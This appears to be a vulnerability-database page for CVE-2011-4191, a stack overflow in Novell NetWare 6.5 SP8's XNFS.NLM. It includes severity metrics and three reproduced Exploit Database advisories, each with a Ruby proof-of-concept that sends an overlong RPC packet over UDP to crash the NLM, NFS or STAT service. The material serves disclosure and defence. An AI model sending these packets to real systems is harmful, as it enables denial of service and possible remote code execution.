CVE-2011-4191 : Detail

CVE-2011-4191

Overflow
24.73%V3
Network
2011-11-30
02h00 +00:00
2024-09-17
03h53 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the xdrDecodeString function in XNFS.NLM in Novell NetWare 6.5 SP8 allows remote attackers to execute arbitrary code or cause a denial of service (abend or NFS outage) via long packets.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18351

Publication date : 2012-01-09 23h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

##################################################################################### Application: Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-11 {PRL}: 2012-03 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Timeline 3) Technical details 4) PoC ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Timeline ============================ 2011-05-05 - Vulnerability reported to vendor 2012-01-10 - Coordinated public release of advisory ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the system. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/ruby require 'socket' xnfs_server = (ARGV[0]) target_port = (ARGV[1] || 32779) #RPC/Portmap packet beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xb5" + # Program: 100021 "\x00\x00\x00\x01" + # Program Version: 1 "\x00\x00\x00\x01" + # Procedure: TEST "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL "\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41" puts "[+]Sending UDP Packet...\n" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(xnfs_server && target_port)) puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n" exit else sock = UDPSocket.open sock.connect(xnfs_server, target_port.to_i) sock.send(beepbeep, 0) end
Exploit Database EDB-ID : 18327

Publication date : 2012-01-05 23h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

##################################################################################### Application: Novell Netware XNFS.NLM NFS Rename Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-06 {PRL}: 2012-02 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Timeline 3) Technical details 4) PoC ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Timeline ============================ 2011-05-05 - Vulnerability reported to vendor 2012-01-05 - Coordinated public release of advisory ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which is used when handling NFS RPC requests. This process listens on UDP port 2049. When decoding the xdr encoded filename from an NFS_RENAME procedure request the process uses the user supplied length as the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the system. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/ruby require 'socket' xnfs_server = (ARGV[0]) target_port = (ARGV[1] || 2049) #RPC/Portmap packet beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xa3" + # Program: 100003 "\x00\x00\x00\x02" + # Program Version: 2 "\x00\x00\x00\x0b" + # Procedure: Rename "\x00\x00\x00\x00\x00\x00\x00\x00" + # Credential "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x41\x41\x42\x42\x42\x42" puts "[+]Sending UDP Packet...\n" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(xnfs_server && target_port)) puts "Usage: PRL-2012-02.rb host port (default port: 2049)\n" exit else sock = UDPSocket.open sock.connect(xnfs_server, target_port.to_i) sock.send(beepbeep, 0) end
Exploit Database EDB-ID : 18328

Publication date : 2012-01-05 23h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

##################################################################################### Application: Novell Netware XNFS.NLM STAT Notify Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-07 {PRL}: 2012-01 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Timeline 3) Technical details 4) PoC ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Timeline ============================ 2011-05-05 - Vulnerability reported to vendor 2012-01-05 - Coordinated public release of advisory ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which is used when handling NFS RPC requests. This process listens on UDP and TCP port 32778. When decoding the xdr encoded data from an STAT_NOTIFY procedure request the process uses the user supplied length as the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the system. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/ruby require 'socket' rpc_server = (ARGV[0]) target_port = (ARGV[1] || 32778) #RPC/Portmap packet beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xb8" + # Program: 100024 "\x00\x00\x00\x01" + # Program Version: 1 "\x00\x00\x00\x06" + # Procedure: Notify "\x00\x00\x00\x01\x00\x00\x00\x18\x09\x27\x4a\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL "\x41\x41\x41\x41" puts "[+]Sending UDP Packet...\n" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(rpc_server && target_port)) puts "Usage: PRL-2012-01.rb host port (default port: 32778)\n" exit else sock = UDPSocket.open sock.connect(rpc_server, target_port.to_i) sock.send(beepbeep, 0) end

Products Mentioned

Configuraton 0

Novell>>Netware >> Version 6.5

References